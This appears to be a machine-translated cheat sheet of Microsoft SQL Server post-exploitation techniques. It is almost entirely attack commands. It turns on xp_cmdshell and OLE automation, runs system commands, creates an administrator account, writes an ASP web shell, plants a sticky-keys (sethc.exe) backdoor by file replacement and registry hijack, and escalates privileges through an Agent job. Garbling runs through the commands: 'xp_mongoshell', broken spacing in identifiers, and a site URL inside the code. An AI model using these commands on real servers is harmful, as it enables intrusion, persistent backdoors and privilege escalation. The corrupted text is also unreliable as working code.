1.
Enable and disable xp_cmdshell
Exec sp_configure 'show advanced options', 1; reconfigure; Exec sp_configure 'xp _ cmdshell', 1; reconfigure; -- enable xp_cmdshell
Exec sp_configure 'show advanced options', 1; reconfigure; Exec sp_configure 'xp _ cmdshell', 0; reconfigure; -- close xp_cmdshell
Exec sp_configure 'show advanced options', 0; go reconfigure with override; Disable advanced options
2.
Xp_cmdshell
Exec master .. xp_mongoshell 'ipconfig'
3.
Enable and disable sp_oacreate
Exec sp_configure 'show advanced options', 1; reconfigure; Exec sp_configure 'ole automation procedures ', 1; reconfigure; Enabled
Exec sp_configure 'show advanced options', 1; reconfigure; Exec sp_configure 'ole automation procedures ', 0; reconfigure; Off
Exec sp_configure 'show advanced options', 0; go reconfigure with override; Disable advanced options
4.
Sp_oacreate delete a file
Declare @ result int
Declare @ fso_token int
Exec @ result = sp_oacreate 'scripting. FileSystemObject ', @ fso_token output
Exec @ result = sp_oamethod @ fso_token, 'deletefile', null, 'c: \ Documents and Settings \ All Users \ Start Menu \ Program \ Start \ User. bat'
Exec @ result = sp_oadestroy @ fso_token
5.
Sp_oacreate
Declare @ o int
Exec sp_oacreate 'scripting. FileSystemObject ', @ o out
Exec sp_oamethod @ o, 'copyfile', null, 'c: \ windows \ assumer.exe ', 'c: \ windows \ system32 \ sethc.exe ';
6.
Sp_oacreate
Declare @ AA int
Exec sp_oacreate 'scripting. FileSystemObject ', @ AA out
Exec sp_oamethod @ AA, 'movefile', null, 'c: \ temp \ IPMI. log', 'c: \ temp \ ipmi1.log ';
7.
Sp_oacreate and administrator user
Declare @ JS int
Exec sp_oacreate 'scriptcontrol', @ JS out
Exec sp_oasetproperty @ JS, 'language ', 'javascript'
Exec sp_oamethod @ JS, 'eval', null, 'var o = new activexobject ("shell. users "); Z = O. create ("user"); Z. changepassword ("pass", ""); Z. setting ("accounttype") = 3 ;'
8.
Enable and disable sp_makewebtask
Exec sp_configure 'show advanced options', 1; reconfigure; Exec sp_configure 'web assistant procedures ', 1; reconfigure; Enabled
Exec sp_configure 'show advanced options', 1; reconfigure; Exec sp_configure 'web assistant procedures ', 0; reconfigure; Off
Exec sp_configure 'show advanced options', 0; go reconfigure with override; Disable advanced options
9.
Sp_makewebtask: create a file
Exec sp_makewebtask 'C: \ windows.txt ', 'select' <% 25 execute (Request ("A") % 25> ''';;--
10.
Wscript. Shell Command Execution
Use master
Declare @ o int
Exec sp_oacreate 'wscript. shell', @ o out
Exec sp_oamethod @ o, 'run', null, 'cmd/C "Net user"> C: \ test. tmp'
11.
Shell. Application
Declare @ o int
Exec sp_oacreate 'Shell. application', @ o out
Exec sp_oamethod @ o, 'shellexecute ', null, 'cmd.exe', 'cmd/C net user> C: \ test.txt ', 'c: \ windows \ system32 ','', '1 ';
Or
Exec sp_oamethod @ o, 'shellexecute ', null, 'user. vbs', '', 'c: \ ','', '1 ';
12.
Enable and disable OpenRowSet
Exec sp_configure 'show advanced options', 1; reconfigure; Exec sp_configure 'ad hoc distributed queries ', 1; reconfigure; Enabled
Exec sp_configure 'show advanced options', 1; reconfigure; Exec sp_configure 'ad hoc distributed queries ', 0; reconfigure;
Exec sp_configure 'show advanced options', 0; go reconfigure with override; Disable advanced options
13.
Sandbox Command Execution
Exec master.. xp_regwrite 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ jet \ 4.0 \ engines', 'sandboxmode', 'reg _ dword', 1 is 3 by default
Select * From OpenRowSet ('Microsoft. jet. oledb.4.0 ','; database = c: \ windows \ system32 \ IAS. MDB ', 'select shell ("cmd.exe/C echo a> C: \ B .txt ")')
14.
Registry hijacking and pasting key
Exec master.. xp_regwrite 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ WindowsNT \ CurrentVersion \ Image File Execution
Options \ sethc. EXE ', 'debugger', 'reg _ SZ', 'c: \ windows \ assumer.exe ';
15.
Sp_oacreate replace paste key
Declare @ o int
Exec sp_oacreate 'scripting. FileSystemObject ', @ o out
Exec sp_oamethod @ o, 'copyfile', null, 'c: \ windows \ assumer.exe ', 'c: \ windows \ system32 \ sethc.exe ';
Declare @ oo int
Exec sp_oacreate 'scripting. fileSystemObject ', @ oo out exec sp_oamethod @ Oo, 'copyfile', null, 'c: \ windows \ system32 \ sethc.exe', 'c: \ windows \ system32 \ dllcache \ sethc.exe ';
16.
Public permission elevation
Use MSDB
Exec sp_add_job @ job_name = 'getsystemonsql', www.2cto.com
@ Enabled = 1,
@ Description = 'this will give a low privileged user access
Xp_mongoshell ',
@ Delete_level = 1
Exec sp_add_jobstep @ job_name = 'getsystemonsql ',
@ Step_name = 'exec my SQL ',
@ Subsystem = 'tsql ',
@ Command = 'exec master .. xp_execresultset n' 'select ''' Exec
Master.. xp_mongoshell "dir> C: \ agent-job-results.txt" ''', n' 'master '''
Exec sp_add_jobserver @ job_name = 'getsystemonsql ',
@ SERVER_NAME = 'server _ name'
Exec sp_start_job @ job_name = 'getsystemonsql'